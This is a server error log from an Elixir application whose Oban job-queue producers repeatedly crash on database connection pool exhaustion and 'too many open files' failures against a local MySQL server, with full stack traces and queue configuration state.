    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:03:40.239002Z], limit: 3, uuid: "6824310c-dbe1-4d7d-8126-74845648843c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:03:40.239007Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.42142>, refresh_timer: #Reference<0.2525715032.1099431938.42116>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:03:52.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1043ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:03:40.239004Z], limit: 10, uuid: "93509cc0-15f7-4733-bb26-09f7a9c8ef0c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:03:40.239009Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.42143>, refresh_timer: #Reference<0.2525715032.1077673987.20165>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:03:52.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 817ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:03:40.240175Z], limit: 20, uuid: "03542b77-6b32-4ea5-82bd-cc00cabc7954", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:03:40.240181Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.44738>, refresh_timer: #Reference<0.2525715032.1068498948.44737>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:03:52.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 898ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:03:40.238822Z], limit: 50, uuid: "861301f9-6054-4f38-ae86-30c755ed08e0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:03:40.238828Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.42141>, refresh_timer: #Reference<0.2525715032.1099431938.42106>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:03:52.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1077ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:03:40.238097Z], limit: 5, uuid: "50d14ae8-97db-4b0a-9373-22735a85e3d1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:03:40.238103Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.20190>, refresh_timer: #Reference<0.2525715032.1077673987.20155>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:03:52.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1046ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:03:40.239179Z], limit: 5, uuid: "777fabbb-fbd8-4a5d-a82b-f4fa7e42c781", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:03:40.239184Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.44739>, refresh_timer: #Reference<0.2525715032.1077673987.20168>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:03:58.106000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:03:59.588000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:04:00.153000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:04:01.686000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:04:01.715000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:04:03.110000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:04:03.152000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:04:05.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1839ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:03:52.238981Z], limit: 10, uuid: "620d8319-e746-4f91-bebc-a1e61fe7129d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:03:52.238988Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.42457>, refresh_timer: #Reference<0.2525715032.1077673987.20312>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:04:05.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1830ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:03:52.239905Z], limit: 5, uuid: "6aec309c-fc85-4729-9b92-eca05175bb34", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:03:52.239910Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.42455>, refresh_timer: #Reference<0.2525715032.1099431938.42447>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:04:05.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1885ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:03:52.239973Z], limit: 5, uuid: "77798a99-3680-4fb4-973a-f405939e5b61", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:03:52.239979Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.42458>, refresh_timer: #Reference<0.2525715032.1121189889.155065>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:04:05.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1875ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
